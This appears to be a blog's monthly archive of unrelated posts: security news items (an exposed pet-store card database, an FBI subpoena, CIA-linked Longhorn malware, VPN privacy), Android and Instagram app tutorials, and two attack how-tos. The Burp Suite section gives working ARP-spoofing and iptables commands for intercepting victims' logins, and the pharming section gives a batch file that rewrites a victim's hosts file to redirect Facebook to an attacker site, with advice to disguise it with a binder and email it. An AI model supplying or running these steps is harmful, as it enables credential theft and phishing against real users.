Monthly Archives: April 2017

A database of thousands of credit cards was left exposed on the open internet

A US online pet store has exposed the details of more than 110,400 credit cards used to make purchases through its website, researchers have found.

In a stunning show of poor security, the Austin, Texas-based company FuturePets.com exposed its entire customer database, including names, postal and email addresses, phone numbers, credit card information, and plain-text passwords.

 

The database was exposed because of the company’s own insecure server and use of “rsync,” a common protocol used for synchronizing copies of files between two different computers, which wasn’t protected with a password.

Researchers at the Kromtech Security Research Center found the database in November. But after numerous efforts to contact the company by phone and email, the database was only secured this week.

It’s not clear who’s to blame for the breach. The pet store is understood to have been developed by DataWeb Inc., which has built dozens of other similar pet-related sites and owns PegasusCart, an ecommerce platform, used on all of DataWeb’s sites.

Kromtech researcher Bob Diachenko found that the leaked data wasn’t limited to just FuturePets.com, but also appeared to contain several folders, including one that shows several backup files and databases of transactions within the DataWeb network.

“They have everything in there — from ad campaigns to thousands of orders details, with full customer payment details exposed, with IP addresses tracked down for milliseconds,” said Diachenko, who also blogged about the discovery.

However, there’s no evidence to suggest that any PegasusCart data had been exposed.

CREDENTIAL MINING With BURP SUITE

ENABLE ROUTING

The first thing you’ll want to do is enable your attacking machine to route traffic.  This way, when your victim machine makes a request to an external HTTP server you will forward the request and intercept the server’s response.  This behavior is necessary for credential harvesting attacks. If it helps, you can think of yourself as an interception proxy much like the one we are using in this tutorial.

$ echo 1 > /proc/sys/net/ipv4/ip_forward

 

CONFIGURE IP TABLES

This step creates two firewall rules which will forward all outbound requests to port 80 and 443 to your attacking machine.  If your IP address is ‘192.168.10.100’, then replace ‘x.x.x.x’ with that address.  Later we’ll tell Burp Suite to listen on these two ports.

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination x.x.x.x
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination x.x.x.x

CONFIGURE BURP SUITE

Next, we will tell Burp Suite to stand up two listening proxies, one on port 80 and one on port 443:

  • Click on the proxy tab and then click on the options sub-tab.
  • Click the add button and type ‘443’ for the bind port.
  • Select the all interfaces radio button.
  • Click on the request handling tab and check the invisible proxy support box.

If you’ve purchased or otherwise “acquired” an SSL certificate you can configure it on the certificate tab. If not, leave those settings the way they are. Repeat the above steps for port ’80’ as well.

Burp Suite Tutorial - MiTM Credential Harvesting
Burp Suite Tutorial – MiTM Credential Harvesting

#ProTip Don’t sweat it if you can’t obtain a legitimate SSL Certificate. 90% of all users will click “continue anyway and die slowly of cancer” if prompted.

 

POISONING WITH ARPSPOOF

The last thing you need to do before you can begin credential harvesting is poison your victim’s ARP cache.  This affectively causes the victim to think that you are their primary gateway.  Assuming your victim is at ‘192.168.1.101’.

$ arpspoof -i eth0 -t 192.168.1.101 192.168.1.1

#ProTip Treat this attack vector like a scalpel and not a machine gun.  That is, only poison carefully picked individual targets not entire subnets.

CREDENTIAL HARVESTING

Now you just have to sit back and wait for your victim to log into an HTTP or HTTPS application.  Their credentials will be displayed inside a POST request within the Burp Suite interface.  Pay attention to the alerts log in Burp Suite.  This information can help you troubleshoot potential connectivity issues.  With luck, you’ll find a user authenticating to a home grown .NET application or the company Intranet page using their Active Directory credentials.
Credential Harvesting POST Request
Credential Mining POST Request

 

How to use ROM Toolbox Pro

ROM toolbox Pro is an amazing Application that i have been using for the better part of a year now. In this time it hasn’t failed me once. If the asking price of 4.99$ Seems a little steep to you,That’s ok. While it may not be cheap for an application. It provides an Amazing set of features,and is well worth the cost. So what are those features?What makes them so Amazing?How do you use them?And just how helpful are they? Well let me tell you.

a6azupug.jpg
When you first open the application it brings you to this page which shows you a list of available features. As you can see the options to choose from are many so lets jump right in.
netyde9a.jpg
The App manager is where you will have the ability to make Backup’s of Your apps and Application data.This will save time and bandwidth after you flash a new ROM on your device. It’s simple. You can even set custom times for It to automatically backup any new applications or any new application versions. One of the most helpful features of the bunch is the ability to create flashable zips of Applications. currently I do this with only one application(because i can restore all the others from the toolbox anyways) Yup, you guessed it. The ROM Manager itself. This way i don’t need to go to Google play to download any applications at all when restoring my data. You also have the ability to backup your custom launcher settings should you use one. This makes for an even easier time setting up your tablet after flashing a ROM.

u6yne2ep.jpg
You have the option of performing specific tasks on applications. This can be incredibly useful when you need to do something like kill an app that’s misbehaving.

NOTE

Certain Actions you can perform on applications could cause the app(s) to severely misbehave so make sure you know what you’re doing.

6ype4emu.jpg
The next core feature of the manager is The ROM management part of the Application itself. It comes with the usual bells and whistles. For those of you who may not know what a Nandroid(ROM backup) is.You can think of it like a snapshot of your device. But instead of only capturing what is being displayed on the screen. It takes a snapshot of all your applications and data and stores it to your SD card. Why is this important? while should your device to throw itself into a boot loop or freeze on the boot logo. As long as you can still gain access to the Custom recovery. You can restore your device to it’s previous state(when that Nandroid was made.) This has helped me multiple times. It makes taking care of situations like a boot loop so much easier.

You also have the option to Flash a Custom recovery. However,i have not personally used this and advise you to only do this from a computer using the ADB interface. The ability to change your boot logo is fun,and depending on what you choose can provide a little bit of entertainment while your device is booting up.

WARNING

Be careful of what you do with this part of the application. You can cause your device to soft brick if you’re not careful. So please be sure of what you’re doing. This application is great..but it can’t stop you from making a stupid mistake. So please be careful.

e8umudy5.jpg
The next part of the application is the root browser. This works just as you would expect. It allows you to access files and folders that you otherwise wouldn’t be able to. Such as system applications. Certain applications however,you should not delete. As they are critical to device functionality. if you delete these apps your device may malfunction. So once again be sure of what you’re doing.

e7uhyra5.jpg
Another useful feature that comes bundled in this wonderful application is the ability to download custom ROMs for your device. The list for my nexus 7 is extensive. You also can see comments on the latest build and see if it’s causing people problems before deciding to flash.So there you have it. All the reasons why ROM toolbox Pro is an amazing application. If you have any questions be sure to let me know,and i will do my best to answer them :D

Pharming Attack Methods

DNS Cache Poisoning

The domain name SDNS definition, according to Wikipedia is: A domain name system server translates a human readable domain name (such as example.com) into a numerical IP address that is used to route communications between nodes. Normally if the server doesn’t know a requested translation it will ask another server, and the process continues recursively. To increase performance, a server will typically remember (cache) these translations for a certain amount of time, so that, if it receives another request for the same translation, it can reply without having to ask the other server again.”

DNS Cache Poisoning Attack Scenario

Here is the attack scenario that an attacker will follow when performing the pharming attack:

  1. An attacker hacks into the DNS server (a cache poisoning attack).
  2. The attacker changes the IP address for www.targetsite.com to the IP of www.faketargetsite.com.
  3. The victim enters www.targetsite.com in the address bar and the computer asks the DNS server for the IP address of www.targetsite.com.
  4. Because the DNS server has already been poisoned by the attacker, it returns the IP address of www.faketargetsite.com.
  5. The victim will believe it is the original website, but it is the fake one.

Hosts File Modification

The hosts file definition, according to Wikipedia, is: The hosts file is a computer file used by an operating system to map hostnames to IP addresses. The hosts file is a plain text file, and is conventionally named hosts.”

The hosts file is a plain text file that contains lines of text consisting of an IP address followed by one or more host names where each field is separated by white space.

An IP address may refer to multiple host names (see the following example), and a host name may be mapped to both IPv4 and IPv6 IP addresses (see the following example).

By the way, you can leave comments in the hosts file by using the hash character (#), which indicates this line is a comment. Here is an example of hosts file content:

1
2
3
# This is an example of the hosts file
127.0.0.1 localhost loopback
::1 localhost

The hosts file location differs from one operating system to another; for example, in the Linux operating system, it’s located in /etc/hosts” and in the windows operating system it’s located in “%SystemRoot%\system32\drivers\etc\hosts“.

Hosts file Modification Attack Scenario

There are many ways to replace the victim hosts file with the attacker (modified) hosts file. The attacker can do this either by using a SFX archive or by using a batch file.

The SFX definition, according to Wikipedia, is: A self-extracting archive (SFX) is a computer application which contains a file archive, as well as programming to extract this information. Such file archives do not require a second executable file or program to extract from the archive, as archive files usually require. The files in an archive can thus be extracted by anyone, whether they possess the appropriate decompression program or not, as long as the program can run on their computer platform.”

The batch file definition, according to Wikipedia, is: A batch file is the name given to a type of script file, a text file containing a series of commands to be executed by the command interpreter in windows operating systems.”

In this tutorial, we will use the second way, which is creating a batch file.

Here is the batch file content that we will use to modify the victim hosts file which will redirect www.facebook.com to the fake website (attacker website):

1
2
3
@echo off
echo X.X.X.X www.facebook.com >> C:\windows\system32\drivers\etc\hosts
exit

Replace “X.X.X.X” with IP address of the attacker website and, finally, save it as Something.bat. To make it seem more like a legitimate file, we can use any binder software, which will help us to hide the malicious file in another file with any extension.

Now we will send the file to our victim via email or upload the file and ask our victim to download and run it, once it has been run, his hosts file will be modified.

Now when the victim tries to access facebook.com, he will access the fake website and the URL won’t change.

Conclusion

A pharming attack will help the attackers perform their phishing attack scenarios in a more sophisticated way to make it reliable and harder to discover that you’re under attack.

What Is a Pharming Attack?

The pharming attack definition, according to Wikipedia: “Pharming is an attacker’s attack intended to redirect a website’s traffic to another, bogus site. Pharming can be conducted either by changing the hosts file on a victim’s computer or by exploitation of a vulnerability in DNS server software. DNS servers are computers responsible for resolving Internet names into their real IP addresses. Compromised DNS servers are sometimes referred to as “poisoned.” Pharming requires unprotected access to target a computer, such as altering a customer’s home computer, rather than a corporate business server.

The term “pharming” is a neologism based on the words “farming” and “phishing.” Phishing is a type of social-engineering attack to obtain access credentials, such as user names and passwords. In recent years, both pharming and phishing have been used to gain information for online identity theft. Pharming has become a major concern to businesses hosting ecommerce and online banking websites. Sophisticated measures known as anti-pharming are required to protect against this serious threat. Antivirus software and spyware removal software cannot protect against pharming.

A pharming attack will redirect the victim to the fake website (an attacker website) even though the victim enters the correct address for the legitimate website. For Example: The victim intends to access www.twitter.com, so he writes the right URL to the browser, the URL will still be www.twitter.com, but he will surf the fake website instead.

Microsoft reveals it received a secret FBI subpoena

Microsoft has disclosed that it received a secret subpoena from the FBI, which demanded the company turn over personal information on a customer.

The company confirmed in a Thursday blog post that it received the subpoena, a so-called “national security letter” filed in 2014, but came with a gag order preventing the company or anyone else from disclosing the contents — even to the customer in question.

The subpoena doesn’t require a judge or a court to approve the turning over of the customer’s data.

It’s not known exactly what the FBI wanted from this customer’s accounts. Under existing law, national security letters can get access to all kinds of metadata — but not contents of calls, emails, and other messages, which do require a court order.

Microsoft said that the national security letter was included in the aggregate data of an earlier transparency report.

Provisions in the Freedom Act, passed in 2015 as an intelligence community reform effortafter the Snowden revelations, compel the FBI to periodically review the gag orders that are attached to national security letters. That in part resulted in details of the letters becoming public for the first time, including challenges from Facebook, Yahoo, and Cloudflare.

“There are times when secrecy is vital to an investigation, but too often secrecy orders are unnecessarily used, or are needlessly indefinite and prevent us from telling customers of intrusions even after investigations are long over,” said Steve Lippman, Microsoft’s director of corporate responsibility.

CIA tools exposed by Wikileaks linked to hacking across 16 countries

glowing-keyboard-hacker-security-620x465.jpg

Those carrying out the attacks against Middle Eastern, Africa, European and Asian targets have nation-state level abilities

Image: iStock

Security researchers have confirmed that the CIA hacking tools exposed by Wikileaks have been used against targets in at least 16 different countries.

Last month WikiLeaks published a over 8,000 documents – apparently internal CIA files – detailing the intelligence agency’s hacking programmes. And now security company Symantec said it has tied the documents to the activities of a sophisticated cyberespionage operation it has been tracking for some time, which it dubs ‘Longhorn’.

For example it said the makers of the tools and this group shares cryptographic protocols specified in the Vault 7 documents published by Wikileaks.

The tools haven’t been picked up by attackers following the Vault 7 leak – which detailed secret CIA files for hacking iPhones, Android, smart TVs and more – but rather used as part of longstanding cyberespionage campaigns. Symantec said it “couldn’t speculate” as to the real identity of the group, which is advanced group and apparently not running campaigns against North America targets.

Longhorn has been active since at least 2011, using a variety of backdoor Trojans and zero-day vulnerabilities to infiltrate governments and international organisations, as well as targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors.

The group has infected targets throughout the Middle East, Europe, Asia, and Africa; and although researchers detail how the group once infected a machine in the US, but an uninstaller was launched within hours, potentially indicating “this victim was infected unintentionally”.

Symantec has linked a number of malware variants and vulnerabilities disclosed by Wikileaks in the Vault 7 documents to Longhorn. For example, one of the documents details a changelog of dates for malware called Fluxwire, detailing when new features were incorporated.

The dates of these changes of Fluxwire correspond with developments of the Corentry Trojan tracked by Symantec. New features of Corentry appeared on the same dates listed in the Vault 7 documents, leading researchers to the conclusion the two forms of malware are one and the same.

 

That isn’t the only correlation between Vault 7 and Longhorn; the Vault 7 documents detail ‘Fire and Forget’ – a specification for user-mode injection of a payload by a tool called Archangel. The specification of this payload and the interface it used to load closely resembles a Longhorn Trojan horse called Plexor.

Longhorn’s cyberespionge tools also use techniques such as Real-time Transport Protocol as a means of command and control communications, employing wipe-on-use as standard practice, use of secure erase protocols involving renaming and overwriting and more.

All of these are also techniques detailed in the Vault 7 leaks and while other malware families are known to use these practices, Symantec researchers say that “the fact that so many of them are followed by Longhorn makes it noteworthy”

Ultimately, all of Longhorn’s malware is designed for cyberespionage, with the ability for detailed system fingerprinting and exfiltration capabilities. The malware is extremely stealthy, only communicating with its control server at random – times and with upload limits in order to avoid detection.

Cybersecurity researchers at Symantec had been monitoring Longhorn for some time prior to the Wikileaks breach. The group is described as well-resourced and working a standard Monday to Friday working week – behaviour which is consistent with the activity of state-sponsored groups – and operating in an American time zone.

Analysis of the group’s activity indicates that it’s from an English speaking North American country, with code words found in the malware referring, the band The Police with codewords including REDLIGHT and ROXANNE, as well as colloquial terms such as SCOOBYSNACK

“Longhorn has used advanced malware tools and zero-day vulnerabilities to infiltrate a string of targets worldwide. Taken in combination, the tools, techniques, and procedures employed by Longhorn are distinctive and unique to this group, leaving little doubt about its link to Vault 7,” the Symantec document on the group concludes.

VPN won’t save you For Long For Internet Security – See Why ?

Last week, Congress voted to gut proposed internet privacy rules set out by the outgoing Obama administration that would have prevented your internet provider from selling your browser history to advertisers. President Donald Trump signed the bill a day after, making it law.

 

Many turned to what appeared to be an obvious solution: A virtual private network (VPN).

 

The idea of using a VPN is simple enough. The good ones are designed to push your internet traffic through a protected and secured tunnel, which shields your browsing records — such as the websites you view — from your internet provider. (As a result, some VPNs push your internet traffic through servers in other countries to trick content providers, like Netflix, into thinking you’re in a different place — usually in order to gain access to content in other geographies.)

But VPNs, for the most part, are lousy, often over capacity, and almost always significantly reduce your internet speeds. And, sometimes services simply don’t work or load because they can detect you’re using a VPN, forcing you to jump off the VPN — effectively defeating the point of using the service on a long-term basis.

And, a lot of the time, the bad ones won’t protect your privacy as they promise.

But what compounds the problem is that some phony VPN services promise to protect your privacy, but they don’t and are simply cashing in on the news, said Motherboard.

The big question to ask yourself is: Should I trust this VPN provider? More often than not, you can’t and shouldn’t.

 

Why? Not least because VPN providers don’t always encrypt your web traffic, or don’t use their own domain name servers (which means your internet provider can still see the websites you’re accessing), and some are using their own in other countries, which means you’re beholden to their laws. As security researcher Troy Hunt said in a recent blog post, because VPN providers control your traffic, “they can inspect it, modify it, log it, and have a very good idea of what it is you’re up to.”

As security reporter Brian Krebs notes, many VPN providers “claim they keep zero records of customer activity,” but “this is almost always untrue if you take the time to read the fine print.”

Often, the reality most will face is that you’re paying for a VPN service that you have to trust more than your internet provider not to collect, monitor, or sell your data.

As famed security sensation Swift On Security said in a recent tweet:

(Source: Twitter)

It’s not to say that there aren’t good VPN providers out there, but you have to weigh up the reasons why you want to protect your browsing history and other data.

When push comes to shove, there are better ways to protect your browsing data than using a VPN.

And while nothing is perfect, and the web will never be completely secure (nothing ever is), you’re better off taking advantage of plugins like HTTPS Everywhere, which pushes for secure pages over non-secure pages where available.

Amazon, Google, Facebook, Twitter — and yes, even Pornhub and YouPorn, your favorite online adult destinations, all offer HTTPS by default, which masks the page and its content (albeit not the domain) from internet-browsing snoopers.

And when all else fails, your internet provider isn’t going to be able to monitor your activity on the Tor anonymity network any time soon.

And there’s almost never going to be a widespread adoption of a VPN service from the average internet user, nor should there be. And many will inherently choose convenience, ease, and faster speeds over security and slowdowns, defeating their point altogether.

How To Download Instagram Videos On Any Device

Download Instagram Videos On Any Device

 

A lot of apps used for downloading the instagram videos on your pc and mobile.

 

Download Instagram Videos On Android

#InstaGetter

Easily Download Instagram Videos on Android via Instagetter.Instagetter is the application which is used for downloading the videos and photos of public in easy way.It is best app for downloading and used by millions of users. Here is the Downloading Link Of Play store.

Download-

 


Instagetter For Android

Steps : –

1. Download the Instagetter app on android from above link.

2. Open the app after installation process,when app is successfully installed,then open the app instagtter.

3. After this open the video/photo which you want to download.

4. Now copy the url of that video/photo from clicking the right hand side menu option, a new screen appears “Copy Share Url” named text appears,tap on this to copy the url.

5. Now open the app and paste the url of that link in the app.

6. The application will check the url and processing for the valid video/photo.

7. After checking a small screen appears, Downloading window appears.

8. Now Click on the download button and enjoy the Download of instagram videos on Android.

 

Download Instagram Videos On iPhone

#InstaGetter

Easily Download Instagram Videos on iphone via instaGetter.This app is same as that of android instagetter.This app contains more features as compared to the app on android.This helps us to download the instagram videos/photos and moreover reposting of these also available.Multiple accounts supported in this.Here is the downloading Link :-

Download- InstaGetter For iPhone

Through this you can easily download instagram videos on iphone.